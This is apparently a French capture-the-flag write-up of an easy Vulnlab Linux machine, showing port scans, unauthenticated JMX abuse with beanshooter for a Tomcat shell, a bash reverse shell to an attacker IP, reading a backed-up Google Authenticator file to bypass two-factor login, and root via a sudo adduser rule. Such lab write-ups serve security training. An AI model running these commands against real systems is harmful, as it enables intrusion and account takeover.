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Hacking France

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OSDifficultyTarget
LinuxEASY10.10.100.194

🔭 Enumeration

Fenêtre du terminal
PORT     STATE SERVICE
22/tcp   open  ssh
2222/tcp open  EtherNetIP-1
8080/tcp open  http-proxy

Scan approfondit:

Fenêtre du terminal
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9363d1d4362bdb3885e37b1fabb8764 (ECDSA)
|_  256 da3b110881432f4c2542ae9b7f8c5798 (ED25519)
2222/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:46037
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp open  http     Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/10.1.19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Fenêtre du terminal
dirsearch -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u "http://10.10.100.194:8080/"


  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )


Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 2563


Output: /workspace/reports/http_10.10.100.194_8080/__24-09-21_16-03-12.txt


Target: http://10.10.100.194:8080/


[16:03:12] Starting:
[16:03:13] 400 -  763B  - /%ff/
[16:03:30] 403 -  865B  - /examples/
Added to the queue: examples/
[16:03:35] 403 -    3KB - /manager/html
[16:03:35] 404 -  683B  - /META-INF/context.xml
[16:03:35] 403 -    3KB - /manager/
Added to the queue: manager/
[16:03:47] 404 -  683B  - /WEB-INF/config.xml
[16:03:47] 404 -  683B  - /WEB-INF/web.xml


[16:03:49] Starting: examples/
[16:03:50] 400 -  763B  - /examples/%ff/


[16:04:19] Starting: manager/
[16:04:19] 400 -  763B  - /manager/%ff/

Rien de particulier de trouver sur l’énumération du site.

Java-RMI

Le Port 2222 en cherchant sur internet, l’outil beanshooter semble intéressant. Je télécharge la release puis j’exécute la commande suivante:

Fenêtre du terminal
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.100.194 2222
[+] Checking available bound names:
[+]
[+]   * jmxrmi (JMX endpoint: 127.0.1.1:46037)
[+]
[+] Checking for unauthorized access:
[+]
[+]   - Remote MBean server does not require authentication.
[+]     Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+]   - Remote MBeanServer rejected the payload class.
[+]     Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+]   - Listing 2 tomcat users:
[+]
[+]     ----------------------------------------
[+]     Username:  manager
[+]     Password:  fhErvo2r9wuTEYiYgt
[+]     Roles:
[+]          Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]     ----------------------------------------
[+]     Username:  admin
[+]     Password:  o<REDACTED>d
[+]     Roles:
[+]          Users:type=Role,rolename="role1",database=UserDatabase

👣 Foothold

beanshooter nous permet de créer un payload et de l’exécuter puisque la sortie de la commande précédente nous indique que le “Remote MBean server doesn’t require authentication. Vulnerability Status: Vulnerable”

Création du payload:

Fenêtre du terminal
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.100.194 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]   Deplyoing MBean: StandardMBean
[+]   MBean with object name de.qtc.beanshooter:standard=8829641229265 was successfully deployed.
[+]
[+]   Caught NullPointerException while invoking the newTransformer action.
[+]   This is expected bahavior and the attack most likely worked :)

Execution du payload et obtention d’un shell Tomcat:

Fenêtre du terminal
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.100.194 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]   Deplyoing MBean: StandardMBean
[+]   MBean with object name de.qtc.beanshooter:standard=8829641229265 was successfully deployed.
[+]
[+]   Caught NullPointerException while invoking the newTransformer action.
[+]   This is expected bahavior and the attack most likely worked :)
[+]
[+]   Removing MBean with ObjectName de.qtc.beanshooter:standard=8829641229265 from the MBeanServer.
[+]   MBean was successfully removed.
[Sep 21, 2024 - 16:16:26 (CEST)] exegol-Vulnlab /workspace # java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.100.194 2222


[[email protected] /]$ whoami
tomcat
First Flag
[[email protected] /opt]$ cd tomcat
[[email protected] /opt/tomcat]$ ls
bin
BUILDING.txt
conf
CONTRIBUTING.md
lib
LICENSE
logs
NOTICE
README.md
RELEASE-NOTES
RUNNING.txt
temp
user.txt
webapps
work
[[email protected] /opt/tomcat]$ cat user.txt
VL{<REDACTED>}
Fenêtre du terminal
[[email protected] /opt/tomcat]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
karl:x:1000:1000:karl green:/home/karl:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash

Côté Hôte:

Fenêtre du terminal
nc -lvnp 4444

Sur la Target:

Fenêtre du terminal
bash -c 'bash -i >& /dev/tcp/10.8.3.147/4444 0>&1'
Fenêtre du terminal
tomcat@manage:~$ su useradmin
su useradmin
Password: o<REDACTED>d
Verification code: o<REDACTED>d
su: Authentication failure

Une double authentification est configurée sur le compte, en tant que tomcat on peut fouiller les dossiers /home des users.

Fenêtre du terminal
tomcat@manage:~$ cd /home
cd /home
tomcat@manage:/home$ ls
ls
karl
useradmin
tomcat@manage:/home$ cd useradmin
cd useradmin
tomcat@manage:/home/useradmin$ ls
ls
backups
tomcat@manage:/home/useradmin$ cd backups
cd backups
tomcat@manage:/home/useradmin/backups$ ls
ls
backup.tar.gz
tomcat@manage:/home/useradmin/backups$ cp backup.tar.gz /tmp
cp backup.tar.gz /tmp
tomcat@manage:/home/useradmin/backups$ cd /tmp
cd /tmp
tomcat@manage:/tmp$ tar xvzf backup.tar.gz
tar xvzf backup.tar.gz
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
tar: .: Cannot utime: Operation not permitted
tar: .: Cannot change mode to rwxr-x--T: Operation not permitted
tar: Exiting with failure status due to previous errors


tomcat@manage:/tmp$ cat .google_authenticator
cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775
Fenêtre du terminal
tomcat@manage:/tmp$ su useradmin
su useradmin
Password: o<REDACTED>d
Verification code: 99852083


whoami
useradmin

🎯 Privilege Escalation

Nous sommes désormais useradmin voyons quels sont ses privilèges:

Fenêtre du terminal
sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty


User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

useradmin peut donc utiliser /user/sbin/adduser avec la commande sudo ce qui veut dire qu’en créant un utilisateur il sera automatiquement avec l’ensemble des privilèges sudo. Vérifions:

Fenêtre du terminal
sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password: 1234
Retype new password: 1234
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y


su admin
Password: 1234
sudo -S -l
[sudo] password for admin: 1234
Matching Defaults entries for admin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty


User admin may run the following commands on manage:
    (ALL) ALL

En ayant les pleins privilèges avec notre utilisateur tout juste créé, nous n’avons plus qu’à passer root pour obtenir le flag.

Fenêtre du terminal
sudo su
cat /root/root.txt
VL{<REDACTED>}